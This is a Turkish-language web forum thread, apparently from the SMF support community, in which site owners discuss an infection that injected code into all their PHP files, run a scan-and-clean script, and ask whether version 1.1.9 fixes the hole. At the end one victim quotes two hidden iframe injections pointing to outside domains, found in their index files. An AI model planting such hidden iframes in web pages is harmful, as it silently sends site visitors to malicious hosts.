1.1.9 Açık mı Kapatıyor Açık Mı Yaratıyor?

[turanordusu.tc]

Çok sağolun.
Bu ekteki dosyayı anadizine atıp çalıştırmamız gerekiyor galiba 

[[SiNaN]]

Evet, ama tekrar buraya eklemenize gerek yok.

[turanordusu.tc]

Tamam sağolun. Orda bir link vardı bu şekilde ; You can find the updates at http://download.simplemachines.org/
ordan kafam karıştı ingilizce olduğu için belki başkadır diye emin olmak için sormuştum.
Bunu çalıştırdıktan sonra anadizinden yine siliyoruz sanırım. Bunu yapıcam şimdi.

Verdiği hata bu ; Error: Cannot run - please verify you put this in the same place as SMF's index.php and SSI.php files.

[[SiNaN]]

SSI.php ile aynı dizine koyduğunuzdan emin olun.

[turanordusu.tc]

Şimdi doğru yerde çalıştırdım ve en üstte bu şekilde yazıyor ; Warning: set_time_limit() [function.set-time-limit]: Cannot set time limit in safe mode in /var/www/vhosts/turklerinneti.com/httpdocs/forum/kb_scan.php on line 41

Ama tüm dosyaları sıraladığında hiçbirinde bişey göstermedi hepsini yeşil olarak sıraladı. Demekki bişey bulmadı yada üstteki yazı hatamıdır 

[[SiNaN]]

Hayır, o bir sorun değil. Yeşil olarak sıralandıysa her şey normal demektir.

[turanordusu.tc]

Hayır, o bir sorun değil. Yeşil olarak sıralandıysa her şey normal demektir.

Tamam. Yardımlarınız için çok sağolun teşekkürler.

[Sami Ekici]

SA(^_^)Mi'nin bahsettiği kodlar krisbarteo'nun işi. Bu kodları temizlemek için şuradaki aracı kullanabilirsiniz:

http://www.simplemachines.org/community/index.php?topic=313201.0

Fakat her dosyaya 'iframe' kodları ekleyen virüsden bashediyosanız, dediğim gibi onun hakkında fazla bir bilgim yok.

her dosya demeyelimde her php uzantılı sayfalara diyelim.. Siz Virüsten bahsetmeden Önce Kodlardan Haberim Yoktu Sonra İncelediğimde TÜM PHP sayfaların (Sources Klasöründekilere Bile) En Üstüne Verdiğim Kodu Eklemiş. Şuan 1 Sitemi Tamamen Sıfırdın Kurdum Diğerinide En kısa Sürede Silip Sıfırdan Kuracağım.

[Yağız...]

SA(^_^)Mi'nin bahsettiği kodlar krisbarteo'nun işi. Bu kodları temizlemek için şuradaki aracı kullanabilirsiniz:

http://www.simplemachines.org/community/index.php?topic=313201.0

Fakat her dosyaya 'iframe' kodları ekleyen virüsden bashediyosanız, dediğim gibi onun hakkında fazla bir bilgim yok.

her dosya demeyelimde her php uzantılı sayfalara diyelim.. Siz Virüsten bahsetmeden Önce Kodlardan Haberim Yoktu Sonra İncelediğimde TÜM PHP sayfaların (Sources Klasöründekilere Bile) En Üstüne Verdiğim Kodu Eklemiş. Şuan 1 Sitemi Tamamen Sıfırdın Kurdum Diğerinide En kısa Sürede Silip Sıfırdan Kuracağım.

Sinan'ın verdiği dosyayı çalıştırınca "click here" yazan bir link var. Ona tıklarsanız dosya kendi temizlemeye çalışacaktır(yedek almayı unutmayın!).

[Sami Ekici]

Sinan'ın verdiği dosyayı çalıştırınca "click here" yazan bir link var. Ona tıklarsanız dosya kendi temizlemeye çalışacaktır(yedek almayı unutmayın!).
[/quote]

Hemen İndirip Deneyeceğim. Yedek almama Gerek Yok Olmasa Dahi Sıfır 1.1.9 kurulumu yapacağım en sağlıklısı Die Düşünüyorum : )

edit:

Sadece Sayfada Bu Uyarıyı Aldım. :S

Admin privileges required.

[Yağız...]

Sitenize admin olarak giriş yapıp tekrar deneyin.

[Sami Ekici]

Sanırım Oldu : ) Teşekkür Ederim 2 tane Silemedi Onlarıda Bi Zahmet Ben Siliverdim.

[serdar22]

slmlar
taramada böyle bir hata var en yukarida
Warning: set_time_limit() [function.set-time-limit]: Cannot set time limit in safe mode in /customers/turkfeed.com/turkfeed.com/httpd.www/forum/kb_scan.php on line 41

bu ne anlama geliyor acaba?bu krisbarteo banada gelmisti

[[SiNaN]]

O hatayı görmezden gelebilirsiniz. Dosyadaki ufak bir hatadan kaynaklanıyor.

[serdar22]

krisbarteo disinda birde su 207.46.164.13 ve 207.46.164.14 yasakli listenize alin.bu IP de veritabanini yedeklemeye calisiyordu ama giremedi

[hamdicap]

Arkadaşlar bu virüs veya hack girişimi her neyse benim başımı epey ağrıttı. http://www.simplemachines.org/community/index.php?topic=307353.0 linkinde de konu ile ilgili resimleri de paylaşmıştım. Bahsi geçen bu kod FTP de boş dahi olsa kaç tane php dosyası varsa istisnasız hepsine bulaşıyor. 1.1.9 un bu açığı gidereceği söyleniyor. İnşallah öyle olur. Bu kod ile ilgili çok ilginç bir detay paylaşmak istiyorum.

Bu saldırı siteme 20 gün araylı iki kez yapıldı. Her ikisinde de siteme a.d.u.l.t içerik ekleyen iki üyeyi(sanırım ikiside bot tu.) banlamış hemen ardından "sen insan mısın?" modunu kurmuştum. Belki tesadüf diyeceksiniz ama asıl anlatacağım çok ilginç detay şu; ikinci saldırıdan sonra forumu yedekten kurdum ve ftp yi konple yeniden kurdum. Aynı gün 1.1.9 a güncelledim.(21.05.2009 da) Sonra bir konu için başka bir siteye üye olmam gerekiyordu. Üyelik kaydında e-mail bölümüne tıkladığım zaman şok geçirdim. Sitemde banladığım 2 üyenin mail numarası benim bilgisayarımdan girilmiş. Aşağıya resmini de koydum. SMF ustalarım daha iyi bilirler ama bu banladığım kişiler veya botla tarafından bu saldırının yapıldığını düşünüyorum. Nasıl oluyor da benim bilgisayarımdan üye oluyorlar anlamadım. Bahsettiğim üyelere ait mail ler sadece firefox da çıkıyor ie7 de çıkmıyor. O an firefox kullanıyormuşum demek ki. Bilgisayarımdan FTP ye veya admin girişimden admin paneline giriş yapmışlar.

[Sami Ekici]

Koodi [Valitse] Laajenna

<iframe src="http://bestnameshop.cn:8080/ts/in.cgi?pepsi30" width=125 height=125 style="visibility: hidden"></iframe>

Koodi [Valitse] Laajenna

echo "<iframe src=\"http://beidzan.com/?click=5DD50E\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

Şimdide Bunlar Çıktı :S  isminde index geçen tüm php dosyalarında vardı temizledim ftp şifresini değiştirdim şuan bişey yok ama bunlar nerden geliyor nasıl giriyor bi türelü anlamış değilim :S